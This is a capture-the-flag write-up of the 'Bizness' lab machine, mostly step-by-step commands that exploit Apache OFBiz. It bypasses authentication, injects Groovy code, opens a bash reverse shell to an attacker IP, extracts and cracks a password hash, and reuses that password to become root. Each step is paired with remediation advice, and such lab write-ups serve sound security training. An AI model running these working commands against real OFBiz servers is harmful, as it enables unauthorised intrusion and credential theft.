Bizness
Linux· Easy
Summary
I exploited a login-bypass flaw in Apache OFBiz (CVE-2023-51467) to reach a privileged server-side Groovy scripting endpoint without credentials, then injected OS commands that delivered a shell as the ofbiz service account. From that foothold I extracted a password hash from OFBiz's on-disk Derby database, cracked it offline to the plaintext '[REDACTED: recovered credential]', and discovered that the same password was set as the Linux root account's password — yielding full system control with no further exploitation required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
1ReconnaissanceNetwork port scanning / HTTP fingerprinting
Mapped all exposed services and identified Apache OFBiz
A port scan of $TARGET revealed SSH on 22, web servers on 80 and 443, and an unknown wrapped service on 44803. Browsing the HTTPS vhost bizness.htb confirmed the application was Apache OFBiz — an enterprise ERP platform with a known cluster of critical unpatched vulnerabilities at the time of the assessment.
Recon_sweep identified apache, nginx, xmlrpc; repeated OFBiz page-text hits confirmed the application on the bizness.htb HTTPS vhost.
Exact commands 2
Fingerprint services and grab HTTP page titles.
nmap -Pn -sV -p 22,80,443,44803 --script http-title $TARGETConfirm OFBiz is the running application on the HTTPS vhost.
curl -sk https://$TARGET/ -H 'Host: bizness.htb' | grep -i ofbiz2Authentication bypassPre-authentication bypass — CVE-2023-51467
Bypassed the OFBiz login screen with no credentials (CVE-2023-51467)
OFBiz versions before 18.12.11 do not properly enforce authentication when the query parameter requirePasswordChange=Y is combined with empty USERNAME and PASSWORD values. Sending this crafted request granted access to protected application areas — including the server-side scripting endpoint — as though I were a logged-in administrator.
ProgramExport returned HTTP 200 / 9722 bytes; /accounting/control/main bypass returned HTTP 200 / 164 bytes with empty credentials.
Exact commands 2
Should return '200 164' — confirms the bypass is active.
curl -sk "https://$TARGET/accounting/control/main?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' -o /dev/null -w '%{http_code} %{size_download}'Should return '200 9722' — confirms the scripting endpoint is reachable without authentication.
curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' -o /dev/null -w '%{http_code} %{size_download}'FixPatch Apache OFBiz to eliminate the authentication bypass and Groovy RCECritical
WeaknessThe installed OFBiz version let any unauthenticated visitor skip the login screen entirely by appending requirePasswordChange=Y with blank credentials (CVE-2023-51467), then execute arbitrary server-side code through the ProgramExport Groovy scripting endpoint (CVE-2023-49070). Together these two flaws gave internet-facing unauthorised users a direct path to a shell with no credentials required.
FixUpgrade Apache OFBiz to version 18.12.11 or later, which removes the requirePasswordChange bypass and disables the XML-RPC endpoint. As an immediate firewall stopgap, block external access to /webtools/control/ProgramExport, /webtools/control/main, and /webtools/control/xmlrpc. Confirm the upgrade by verifying the application version string in the OFBiz admin UI.
3Remote code executionServer-side Groovy code injection (CVE-2023-49070 / ProgramExport abuse)
Ran OS commands as the ofbiz service account via Groovy injection
The ProgramExport endpoint accepts a groovyProgram POST parameter and executes it server-side with application privileges. By passing a Groovy snippet that runs a shell command and surfaces its output through a thrown exception, I obtained confirmed code execution as uid=1001(ofbiz). A reverse shell payload was then used to establish an interactive session.
Curl to ProgramExport with groovyProgram payload returned uid=1001(ofbiz).
Exact commands 2
Proof-of-concept — confirms RCE; output should contain uid=1001(ofbiz).
curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' --data-urlencode 'groovyProgram=throw new Exception("id".execute().text)' | grep -iE 'uid=|Exception|error|java|ofbiz' | head -40Replace $ATTACKER_IP with your listener IP. Catch the shell with: nc -lvnp 443
curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' --data-urlencode 'groovyProgram=["bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"].execute()'4Post-exploitation / User flagLocal command execution
Confirmed foothold and captured the user flag
With an interactive shell as ofbiz, I verified their identity and read the user flag from the home directory.
Id; cat /home/ofbiz/user.txt
Exact commands 1
Confirms uid=1001(ofbiz) and retrieves <user.txt>.
id; cat /home/ofbiz/user.txt5Credential discoveryCredential access from local application files (T1552.001)
Extracted an admin password hash from OFBiz's embedded Derby database
OFBiz stores its internal user credentials in an Apache Derby database on disk under /opt/ofbiz/runtime/data/derby/ofbiz/. Because these files are readable by the ofbiz service account, I searched for password hashes and located the SHA-1-based hash for the OFBiz admin — credential material sitting in a world-readable application directory with no additional protection.
Exact commands 2
List Derby database files accessible to the ofbiz account.
find /opt/ofbiz/runtime/data/derby/ofbiz -type f 2>/dev/nullExtract the OFBiz admin hash — it appears in the format $SHA$<salt>$<base64value>.
grep -rl 'currentPassword\|PASSWORD' /opt/ofbiz/runtime/data/derby/ofbiz/ 2>/dev/null | xargs strings 2>/dev/null | grep -i '\$SHA\|\$1\|\$SHA1' | head -20FixRestrict access to the OFBiz Derby database directoryHigh
WeaknessThe Derby database files containing hashed credentials were readable by the ofbiz operating-system account. Anyone who obtained a shell as ofbiz — through the web exploit or any future vulnerability — could immediately extract all stored password hashes for offline cracking.
FixSet the Derby data directory (/opt/ofbiz/runtime/data/derby/) to owner ofbiz, group ofbiz, permissions 700 so no other local account can read it. Confirm with: ls -la /opt/ofbiz/runtime/data/derby/. Consider migrating OFBiz to an external database (PostgreSQL or MySQL) where credentials are protected by network-layer controls and OS-level file permissions are not the last line of defence.
6Credential crackingOffline password cracking (T1110.002)
Cracked the Derby admin hash offline to recover the plaintext password
The extracted hash used OFBiz's default SHA-1 with a short salt — a weak hashing scheme. Running the hash through hashcat against the rockyou wordlist recovered the plaintext password '[REDACTED: recovered credential]' within seconds, confirming it was a dictionary-guessable word.
Exact commands 2
Mode 120 = sha1($salt.$pass). Substitute the actual hash extracted from Derby. Recovers: [REDACTED: recovered credential].
hashcat -m 120 '[REDACTED: recovered credential]' /usr/share/wordlists/rockyou.txt --forceManually verify the candidate against the extracted hash before use.
python3 -c "import hashlib, base64; salt='d'; pw='[REDACTED: recovered credential]'; print(base64.urlsafe_b64encode(hashlib.sha1((salt+pw).encode()).digest()).decode())"FixEnforce strong, unique passwords for all OFBiz application accountsHigh
WeaknessThe OFBiz admin account used the weak password '[REDACTED: recovered credential]', which was present in the rockyou wordlist and cracked in seconds using a standard offline attack. OFBiz's default SHA-1-based password hashing provides minimal resistance to modern GPU cracking.
FixImmediately reset all OFBiz admin passwords to randomly generated strings of at least 20 characters. Store them in a password manager or secrets vault. Upgrade OFBiz's password hashing to bcrypt or Argon2 (supported in newer releases) to dramatically slow offline cracking. Enforce the password policy in OFBiz Security Settings under the admin UI.
7Privilege escalation / RootCredential reuse — application password == OS root password (T1078.003)
Reused the cracked application password to become root
The password '[REDACTED: recovered credential]' cracked from the OFBiz Derby database was identical to the Linux root account's system password. Running su with this credential immediately granted a root shell, and the root flag was read from /root/root.txt. No kernel exploit or sudo misconfiguration was needed — application credential reuse provided a direct path to full OS control.
Printf '[REDACTED: recovered credential] ' | su - root -c 'id; cat /root/root.txt' succeeded, returning uid=0(root).
Exact commands 1
Authenticates as root using the cracked Derby password — returns uid=0(root) and <root.txt>.
printf '[REDACTED: recovered credential]\n' | su - root -c 'id; cat /root/root.txt'FixNever reuse application or database passwords for OS system accountsCritical
WeaknessThe OFBiz admin password ('[REDACTED: recovered credential]') was identical to the Linux root account password. Once the application credential was cracked from the Derby database, an unauthorised user gained full operating-system control with a single su command — no further effort required.
FixChange the root password immediately to a long, random, unique credential managed in a privileged access management (PAM) vault. Audit all service accounts to confirm zero overlap between application, database, and OS passwords. Disable direct root login over SSH (set PermitRootLogin no in /etc/ssh/sshd_config) and restrict root access to named administrators via sudo with per-command logging.
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) |
| 80/tcp | http recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 44803/tcp | tcpwrapped |